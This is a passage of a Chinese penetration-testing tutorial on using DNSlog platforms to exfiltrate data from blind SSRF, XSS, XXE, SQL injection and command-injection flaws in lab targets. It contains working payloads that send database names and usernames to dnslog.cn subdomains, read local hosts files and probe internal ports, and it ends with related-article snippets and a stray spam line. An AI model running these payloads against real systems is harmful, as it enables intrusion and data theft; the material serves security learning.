<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    DNSlog在滲透測試中的實戰技巧

    VSole2023-03-13 11:19:08

    前言

    在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起 DNS 請求,這個時候就可以通過這種方式把想獲得的數據外帶出來。

    DNS 的全稱是 Domain Name System(網絡名稱系統),它作為將域名和IP地址相互映射,使人更方便地訪問互聯網。當用戶輸入某一網址如 www.baidu.com,網絡上的 DNS Server 會將該域名解析,并找到對應的真實 IP 如 127.0.0.1,使用戶可以訪問這臺服務器上相應的服務。

    了解到了什么是 DNS,那么什么又是 DNSlog 呢?

    DNSlog 就是存儲在 DNS Server 上的域名信息,它記錄著用戶對域名 www.baidu.com 等的訪問信息,類似日志文件, DNSlog 在線平臺如下:

    基本原理

    我注冊了一個為 a.com 的域名,我將他 a 記錄泛解析到 10.0.0.0 上,這樣就實現了無論我記錄值填什么他都有解析,并且都指向 10.0.0.0,當我向 dns 服務器發起 test.a.com 的解析請求時,DNSlog 中會記錄下他給 test.a.com 解析,解析值為 10.0.0.0(通俗來講就是我們申請一個 dnslog 的平臺,當我們盲注的時候把想要的數據和平臺給的地址拼接起來,dnslog 平臺就會把請求的記錄顯示出來)。

    SSRF 盲打

    前面寫過一篇博文介紹了 SSRF 漏洞的基本原理 Web安全-SSRF漏洞。之所以想學習下 DNSlog 并記錄本文也是因為看到某滲透報告里面記錄一個通過 DNSlog 盲打 SSRF 漏洞,是自己之前沒接觸過的技能點……

    SSRF盲打實例

    在某系統的機票信息存在導出功能:

    修改導出信息的請求中queryPath參數的路徑為自己的 DNSlog:

    可以看到 DNSlog 平臺成功記錄訪問請求,證明存在 SSRF 漏洞:

    靶場實例練習

    1、來看看 Pikachu 靶場一個 SSRF 漏洞 實例:

    點擊鏈接發現發現它通過一個 url 參數傳遞了一個 URL 給后臺并讀取文件(可能靶場環境問題此處沒成功讀取到詩歌文件url=http://127.0.0.1/lab/vul/ssrf/ssrf_info/info1.php):

    2、修改 url 參數為如下,可借助 SSRF 漏洞進行內網端口探測:


    url=http://127.0.0.1:3306
    


    發現服務器開放了 3306 端口:

    3、修改 url 參數為如下,可借助 SSRF 漏洞讀取本地文件:


    url=file:///C:/Windows/system32/drivers/etc/hosts
    

    成功讀取到 Windows 服務器的本地 hosts 文件信息:

    4、在 DNSlog 平臺申請一個子域名 ny5l42.dnslog.cn,然后訪問 ?url=http://ny5l42.dnslog.cn,如下:

    刷新 DNSlog 服務器的記錄,發現靶場發起的訪問請求記錄:

    XSS的盲打

    眾所周知,在實戰中能真正能構成致命性損傷的 XSS 類型就是儲存型 XSS,一般是從前臺打到后臺,一般反射型 XSS 我們常見做法一般是給自己彈個 alert 就可以知道這個語句有沒有執行,有沒有被屏蔽。但是前臺打到后臺的儲存型盲打 XSS 我們肯定是不可能通過 alert 去驗證漏洞是否存在。彈 alert 必然是要驚動管理員,況且就算在后臺彈窗了,我們也看不到。

    為了解決這個問題,也為了學習 DNSlog 的利用,我們繼續跟著原理造輪子,比如說這有個留言框,我們輸入個 Payload 如下:


    好的管理員!
    

    因為 script 標簽的 src 是在加載后就自動去請求的,并且 http 協議仍然會用到 dns 協議,當管理員從留言板看到這條消息的時候瀏覽器就會自動去請求 http://testxss.a.com,這樣子的話,就會在 DNSlog 里留下如下記錄:


    testxss.a.com 10.0.0.0
    

    當我們在 dnslog 里看到了這條記錄的時候,就說明盲打 XSS 存在了。

    靶場 XSS 盲打實例

    1、同樣以 Pikachu 靶場的一個 XSS 漏洞環境為例:

    2、插入 alert(1)即可觸發彈窗:

    3、接下來插入:

    4、可以在 DNSlog 平臺看到對應的請求記錄:

    此處的 Payload 使用也可以。

    XXE的盲打

    關于 XXE 漏洞的基礎知識可以看我的另一篇博文:Web安全-XXE漏洞,此處截圖核心:

    對于沒有回顯的 XXE 漏洞,同樣可以使用 DNSlog 平臺進行漏洞檢測。

    XXE 盲打靶場實例

    1、同樣以 Pikachu 靶場的 XXE 漏洞環境為例:

    2、先構建常規測試 Payload:


        
    ]>
    &hacker;
    


    執行結果如下:

    3、借助 XXE 漏洞構造讀取本地文件的 Payload:


     ]>
    &xxe;
    


    執行效果如下:

    4、假設這是一個 XXE 無回顯的漏洞,或者說不清楚服務器是什么操作系統、不清楚文件組成,可以構造如下 DNSlog 相關的 Payload:


     ]>
    &xxe;
    


    執行效果如下:

    SQL的盲注

    不論是布爾型盲注還是時間型盲注,都需要頻繁的跑請求才能夠獲取數據庫中的值,在現代 WAF 的防護下,很可能導致 IP 被 ban。我們可以結合 DNSlog 完美快速的將數據取出。如遇到 MySql 的盲注時,可以利用內置函數 load_file() 來完成 DNSlog,load_file()不僅能夠加載本地文件,同時也能對諸如 \\www.test.com 這樣的URL發起請求。

    以4s1b2n.dnslog.cn來舉例子,我直接扔 Payload 伙伴們自己理解下原理:


    select load_file('\\\\SQL注入查詢語句.4s1b2n.dnslog.cn')
    

    上面就是 select_load_file 的用法,我們來看看實際的 Payload,比如說注入語句我們這么寫:


    ' and if((select load_file(concat('\\\\',(select database()),'.4s1b2n.dnslog.cn'))),1,0)--+
    

    很經典的查詢數據庫名的 Payload,那么上面 Payload 執行后,最終數據庫將執行什么呢,我們來猜測一下。


    SELECT * FROM article WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.4s1b2n.dnslog.cn'))),1,0)--+
    

    不難想象當上面這個執行后,我們將在我們的 DNSlog 里查到的記錄為以下內容:


    數據庫一名字.a.com 10.0.0.0
    數據庫二名字.a.com 10.0.0.0
    數據庫三名字.a.com 10.0.0.0
    數據庫四名字.a.com 10.0.0.0
    ...
    


    SQL盲注靶場實例

    1、下面同樣以 Pikachu 靶場的 SQL 盲注(布爾型)漏洞環境為例:

    2、輸入kobe' and 1=1#可成功查詢:

    3、輸入kobe' and 1=2#查詢失敗:

    4、輸入利用 DNSlog 回顯數據庫名稱的 Payload:


    kobe' and if((select load_file(concat('\\\\',(select database()),'.096lsv.dnslog.cn'))),1,0)
    

    執行效果如下:

    我自己執行失敗……原因不詳……圖中是別人的圖,請各位大佬指教!

    RCE的盲打

    此處使用公網一個 DVWA 靶場( Windows 系統搭建)為例進行演示,Payload:%USERNAME%.u4f95y.dnslog.cn,如下所示:

    此時 DNSlog 也會回顯打印當前系統登錄的用戶的名稱:

    Windows 常用變量:


    //變量                 類型       描述//%ALLUSERSPROFILE%   本地       返回“所有用戶”配置文件的位置。//%APPDATA%           本地       返回默認情況下應用程序存儲數據的位置。//%CD%                                                        本地       返回當前目錄字符串。//%CMDCMDLINE%        本地       返回用來啟動當前的 Cmd.exe 的準確命令行。//%CMDEXTVERSION%     系統       返回當前的“命令處理程序擴展”的版本號。//%COMPUTERNAME%      系統       返回計算機的名稱。//%COMSPEC%           系統       返回命令行解釋器可執行程序的準確路徑。//%DATE%              系統       返回當前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關 date 命令的詳細信息,請參閱 Date。//%ERRORLEVEL%        系統       返回上一條命令的錯誤代碼。通常用非零值表示錯誤。//%HOMEDRIVE%         系統       返回連接到用戶主目錄的本地工作站驅動器號。基于主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。//%HOMEPATH%          系統       返回用戶主目錄的完整路徑。基于主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。//%HOMESHARE%         系統       返回用戶的共享主目錄的網絡路徑。基于主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。//%LOGONSERVER%       本地       返回驗證當前登錄會話的域控制器的名稱。//%NUMBER_OF_PROCESSORS%         系統      指定安裝在計算機上的處理器的數目。//%OS%                           系統      返回操作系統名稱。Windows 2000 顯示其操作系統為 Windows_NT。//%PATH%                         系統       指定可執行文件的搜索路徑。//%PATHEXT%                      系統       返回操作系統認為可執行的文件擴展名的列表。//%PROCESSOR_ARCHITECTURE%       系統       返回處理器的芯片體系結構。值:x86 或 IA64(基于 Itanium)。//%PROCESSOR_IDENTFIER%          系統       返回處理器說明。//%PROCESSOR_LEVEL%              系統       返回計算機上安裝的處理器的型號。//%PROCESSOR_REVISION%           系統       返回處理器的版本號。//%PROMPT%                       本地       返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。//%RANDOM%                       系統       返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。//%SYSTEMDRIVE%                  系統       返回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。//%SYSTEMROOT%                   系統       返回 Windows server operating system 根目錄的位置。//%TEMP%和%TMP%                  系統和用戶 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。//%TIME%                         系統       返回當前時間。使用與time /t命令相同的格式。由Cmd.exe生成。有關time命令的詳細信息,請參閱 Time。//%USERDOMAIN%                   本地       返回包含用戶帳戶的域的名稱。//%USERNAME%                     本地       返回當前登錄的用戶的名稱。//%USERPROFILE%                  本地       返回當前用戶的配置文件的位置。//%WINDIR%                       系統       返回操作系統目錄的位置。
    

    如果是 Linux 環境,則 Payload 對應的應該為:


    ping `whoami`.u4f95y.dnslog.cn
    

    總結

    本文參考文章:

    1. DNSlog平臺各種利用姿勢(盲注):https://www.cnblogs.com/sunny11/p/14399420.html

    2. DNSlog在滲透測試中的應用:https://blog.csdn.net/weixin_44023680/article/details/111702074

    3. 命令執行無回顯的一些姿勢 :https://mp.weixin.qq.com/s/29leAcZlIo9aOSWdRTfcQg

    4. Dnslog在SQL注入中的實戰 :https://www.anquanke.com/post/id/98096

    滲透測試ssrf
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    滲透測試面試指南
    2022-05-21 22:11:08
    前言一開始會問問你在工作中負責的是什么工作,參與過哪些項目。還有些會問問你之前有沒有護網的經歷,如果沒有的話一般都會被定到初級。下面就是一些技術上的問題了SQL注入的分類Boolean盲注。正向代理即是客戶端代理, 代理客戶端, 服務端不知道實際發起請求的客戶端.
    WebLogic是由美國Oracle公司出品的一application server,準確的說就是一個基于JAVAEE而開發的一個中間件,類似Tomcat,WebLogic是一個用于開發,集成,部署與管理大型分布式Web應用,網絡應用和數據庫的java應用服務器。將java動態功能與java Enterprise標準的安全性引入大型網絡應用的開發,集成,部署與管理之中。
    滲透測試Tips
    2022-04-13 06:38:50
    知己知彼,百戰不殆1、如果提示缺少參數,如{msg:params error},可嘗使用字典模糊測試構造參數,進一步攻擊。
    前言在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起 DNS 請求,這個時候就可以通過這種方式把想獲得的數據外帶出來。DNS 的全稱是 Domain Name System,它作為將域名和IP地址相互映射,使人更方便地訪問互聯網。當用戶輸入某一網址如 www.baidu.com,網絡上的 DNS Server 會將該域名解析,并找到對應的真實 IP 如 127.0.0.1,使用戶可以訪問這臺服務器上相應的服務。了解到了什么是 DNS,那么什么又是 DNSlog 呢?
    以下為信息安全各個方向涉及的面試題,星數越多代表問題出現的幾率越大,沒有填答案是希望大家如果不懂能自己動手找到答案,祝各位都能找到滿意的工作:) 注:做這個List的目標不是全,因為無論如何都不可能覆蓋所有的面試問題,更多的還是希望由點達面,查漏補缺。
    主要是可以拿著這些信息通過goole,或github搜索一些其他的敏感信息,擴大搜索面。效果就不多說了,在github泄漏一些賬號或源碼的事件簡直不要太多。)如果得到的ip結果不同,即可判斷使用了CDN。nmap掃描服務器進行搜集,我認為也是至關重要的一點,不能遺漏。里面的security項rename-command CONFIG ""又問:如果內容禁止使用ip如何探測內網端口1、使用dns解析2、127。
    無回顯概念無回顯,即執行的payload在站點沒有輸出,無法進行進一步操作。不同漏洞的無回顯1、SQL注入無回顯SQL注入,作為OWASP常年占據榜首位置的漏洞,在無回顯中也是常見的。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类